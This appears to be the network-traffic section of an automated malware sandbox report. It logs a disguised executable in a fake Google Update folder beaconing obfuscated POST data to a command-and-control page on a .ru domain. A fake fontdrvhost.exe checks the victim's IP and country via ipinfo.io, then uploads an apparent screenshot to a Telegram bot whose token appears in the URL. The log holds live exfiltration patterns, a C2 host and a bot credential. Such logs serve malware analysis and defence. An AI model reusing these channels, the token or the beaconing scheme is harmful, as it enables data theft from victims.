140	192.168.2.6	62779	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:54.097178936 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:54.455806971 CET	1124	OUT	Data Raw: 53 52 5a 50 54 51 54 56 58 56 52 59 56 5d 59 51 5b 5e 54 5a 55 54 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SRZPTQTVXVRYV]YQ[^TZUTP_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y$9X7<1%=+B;9> [0+9$>+ (=C%8:&Y.,Y-1
Jan 1, 2025 16:03:54.550959110 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:54.720890999 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9sMiEjtdXerfJtfHI3V9plIEX6KsmNvMixphHazNcDhL2wPlCk2YVAuab%2F3m0GQb2RxhehLctKVEOqGn7BOGqUtvGjyatiAigP%2BZCWj82SAHglu7PTiDSTGLduYmMAeZMA7%2FnaAc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36615aa3243f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4813&min_rtt=1825&rtt_var=6661&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=56740&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	62781	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:55.104376078 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:55.454268932 CET	1124	OUT	Data Raw: 53 50 5f 55 51 5b 54 5c 58 56 52 59 56 5c 59 51 5b 59 54 5d 55 5f 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SP_UQ[T\XVRYV\YQ[YT]U_P_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$%4='C8 0^?3>='#"#Z<8=B&#R::&Y.,Y-5
Jan 1, 2025 16:03:55.549325943 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:55.730376005 CET	800	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hBPgGKBX30u5Dg8Ru5kidHrsq1mnE7RbL4dxbXLPurLGdSWlhdUIoQEGL5xDBjTCOdjm7IxPCpRyKBlj%2FteHU3ZNL1WwT7fL0wGmlB8uCopf27zpSFRJtxiOvXYZPhV7hCEfl7ZD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3661be88042be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4861&min_rtt=1788&rtt_var=6816&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=55361&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	62782	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:55.871855021 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:56.220180035 CET	1124	OUT	Data Raw: 53 57 5f 50 51 58 54 50 58 56 52 59 56 5c 59 55 5b 53 54 50 55 5e 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SW_PQXTPXVRYV\YU[STPU^PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Z$X7/_3X7A8"4.$[*97)<Z T#\(5E1/S.&Y.,Y-5
Jan 1, 2025 16:03:56.336496115 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:56.513700008 CET	816	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lP6oBaY3d%2FnzEWzQPsE3IRK6lIjxQTbvo%2FORB%2B4dO%2FFdzaGrznLWKHr9Dw4EX%2FvVyNmf6IAfL05i%2BnRKFBcvL3M4%2FtSmk%2B3ttT5O7dTEAd1T7GqI9IaoaKlb5Cky9f68VK%2BwklFa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36620cb4543f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4658&min_rtt=1901&rtt_var=6228&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=60929&cwnd=193&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	62783	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:56.648524046 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:57.001368999 CET	1124	OUT	Data Raw: 53 55 5a 57 54 5b 51 51 58 56 52 59 56 5b 59 52 5b 5a 54 5a 55 58 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SUZWT[QQXVRYV[YR[ZTZUXP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y3=[7?Y%-</)-R4$Y+>=$#3X?!$/9*&Y.,Y-)
Jan 1, 2025 16:03:57.117804050 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:57.295105934 CET	800	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e77y4xqgKK85UY6OMB7GJfFLCcyTgqZxi7Q1%2B9HgQ3ypiZt0CRJVccdh6xDiyjkevFoa7tj5oU9zR1LWLVqwz3jaewlso7qNUCdJiYlyUBnupFaMLzBpoagQCPRokcBZo5Qt7HWv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36625affb4277-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4663&min_rtt=1704&rtt_var=6557&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=57532&cwnd=190&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	62784	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:57.617677927 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:57.969970942 CET	1124	OUT	Data Raw: 56 5f 5a 54 51 5b 51 50 58 56 52 59 56 51 59 54 5b 59 54 5b 55 55 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: V_ZTQ[QPXVRYVQYT[YT[UUP[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$Z4!\3;;=R!-([(_7*(Z#?85C%;-:&Y.,Y-
Jan 1, 2025 16:03:58.078419924 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:58.349231958 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K79C2g9eqaJWXhnGNZTaTo35yIAMJTPAP1TS%2FoRUaR5Nqk6Iw4mcTcxue80j%2BFamutbSK1TkWw0gXHa7tY3cDAxX1nDwfBtlVgGIIDIiPFcRAFVZju71IDPQ%2FPR30ksMo7PYjfrc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3662bbf502369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3514&min_rtt=1962&rtt_var=3841&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=101508&cwnd=141&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	62785	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:58.474450111 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	62786	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:58.778578997 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:59.126214027 CET	1964	OUT	Data Raw: 56 56 5f 51 54 5f 51 50 58 56 52 59 56 5e 59 57 5b 5e 54 50 55 55 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VV_QT_QPXVRYV^YW[^TPUUPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.3/.7/!\$-#,&7#<<)-$ ?Z?+:&//::&Y.,Y-
Jan 1, 2025 16:03:59.223149061 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:59.489717960 CET	960	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1z3Mu8%2FdQPCyvwNhHQJk7NTUoh%2Bel3AOAnDOPlA%2Fne3eKSSa3iBXsRAY1hAFnJnEbc8rQjjRPKLo%2BKz%2FfSEPUxjPOcO0c%2F7k6TMEYbmUC5z5hZB0CpVgceSWpMdgmIJ2hRkVnKAO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36632dcc57c9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8699&min_rtt=2033&rtt_var=14096&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=26369&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 50 2a 2d 3e 1e 26 54 33 03 3f 3d 01 56 25 07 32 59 29 2b 29 01 30 58 23 58 2a 17 0d 10 36 02 26 01 26 38 2c 5a 23 03 09 5b 24 34 2b 59 05 1c 23 1d 36 01 20 12 2a 03 2c 05 32 06 21 59 24 3d 2b 05 28 3b 3c 11 20 28 2f 5e 33 3d 28 13 3e 39 2b 0e 27 2c 01 5e 3a 2c 22 0a 33 3a 2c 54 00 11 26 13 24 08 20 1b 20 37 0e 10 22 32 3d 13 25 1a 04 51 26 12 2f 19 37 39 2e 16 25 32 2b 5b 22 1d 2d 02 32 05 00 03 23 3d 24 0b 2a 04 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%P->&T3?=V%2Y)+)0X#X6&&8,Z#[$4+Y#6 ,2!Y$=+(;< (/^3=(>9+',^:,"3:,T&$ 7"2=%Q&/79.%2+["-2#=$%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	62787	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:58.899485111 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:59.251163006 CET	1124	OUT	Data Raw: 56 51 5f 5d 51 5c 54 55 58 56 52 59 56 58 59 54 5b 5a 54 5f 55 5f 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQ_]Q\TUXVRYVXYT[ZT_U_PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.',54?>3>;)%R#-_<7W)-8Z#!<(+51/7V:&Y.,Y-%
Jan 1, 2025 16:03:59.352057934 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:59.622087002 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xZVWnOKSLc6qRxKWsbWXNXHBk5HlSBG566ZKgeNaEClAbq2O9hwyY2GvZzVG3xv6IbVjKdRuj%2BUBjyevJjqx3rSEpq4jif%2Br0SSEhGhtDA40RdphxG%2B8xJTKwYokCSmr6HO2%2FmOm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36633aeeb8ca8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8364&min_rtt=1979&rtt_var=13513&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=27514&cwnd=161&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	62788	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:59.771250010 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:04:00.126471996 CET	1124	OUT	Data Raw: 56 51 5f 51 54 5e 51 52 58 56 52 59 56 5d 59 55 5b 58 54 50 55 5b 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQ_QT^QRXVRYV]YU[XTPU[P[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^$/X7&38:=S!=?9+)]7/]+;%1$-&Y.,Y-1
Jan 1, 2025 16:04:00.229738951 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:04:00.412200928 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:04:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VZjHqK5b96V%2FPipFehaf5xIk31y7VwCxcd1DuRPceFLOA0D6q4JlzRBAjHuN5nML%2B%2BS4dvNrvhYFLj84vYrNkPxcaxXnjYWSE5Q0B3w%2BCGXM5Fq1k6iy8E06pVGZ3B%2Fsq2VTcOHD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb366392c1842f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8109&min_rtt=1813&rtt_var=13273&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=27977&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	62789	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:04:00.535706997 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:04:00.892158031 CET	1124	OUT	Data Raw: 56 52 5a 50 51 5a 51 56 58 56 52 59 56 5f 59 53 5b 52 54 5c 55 54 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VRZPQZQVXVRYV_YS[RT\UTPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^$" -]'.$8U78X);R><#4+A1,<,&Y.,Y-9
Jan 1, 2025 16:04:00.985563993 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:04:01.164676905 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EiJmszx2bJ2oH14GHDRgTLGU5h3RAWymH1cbm5LZMoaOxfXs%2FR6pDaublGWDRSNNEtZzHgCbWbBT68IByNYvcEB7JBOmfIgLmy%2F4nON0vaezm8gMp%2BkQVgsF56h478SfDn3YcnwW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3663ddc9e42fe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3701&min_rtt=2493&rtt_var=3351&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=120075&cwnd=68&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	34.117.59.81	443	3084	C:\Drivers\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:02:08 UTC	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2025-01-01 15:02:09 UTC	305	IN	HTTP/1.1 200 OK date: Wed, 01 Jan 2025 15:02:08 GMT content-type: text/plain; charset=utf-8 Content-Length: 12 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-01 15:02:09 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	34.117.59.81	443	3084	C:\Drivers\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:02:09 UTC	42	OUT	GET /country HTTP/1.1 Host: ipinfo.io
2025-01-01 15:02:09 UTC	448	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 3 content-type: text/html; charset=utf-8 date: Wed, 01 Jan 2025 15:02:09 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-01 15:02:09 UTC	3	IN	Data Raw: 55 53 0a Data Ascii: US

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	149.154.167.220	443	3084	C:\Drivers\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:02:10 UTC	255	OUT	POST /bot8143016568:AAEvmfltzzwYHiQ7qyRFPs1EAB_RQhZk4kg/sendPhoto HTTP/1.1 Content-Type: multipart/form-data; boundary="41e39329-f7ed-4a24-a87a-8d5d41ec4466" Host: api.telegram.org Content-Length: 86650 Expect: 100-continue Connection: Keep-Alive
2025-01-01 15:02:10 UTC	25	IN	HTTP/1.1 100 Continue
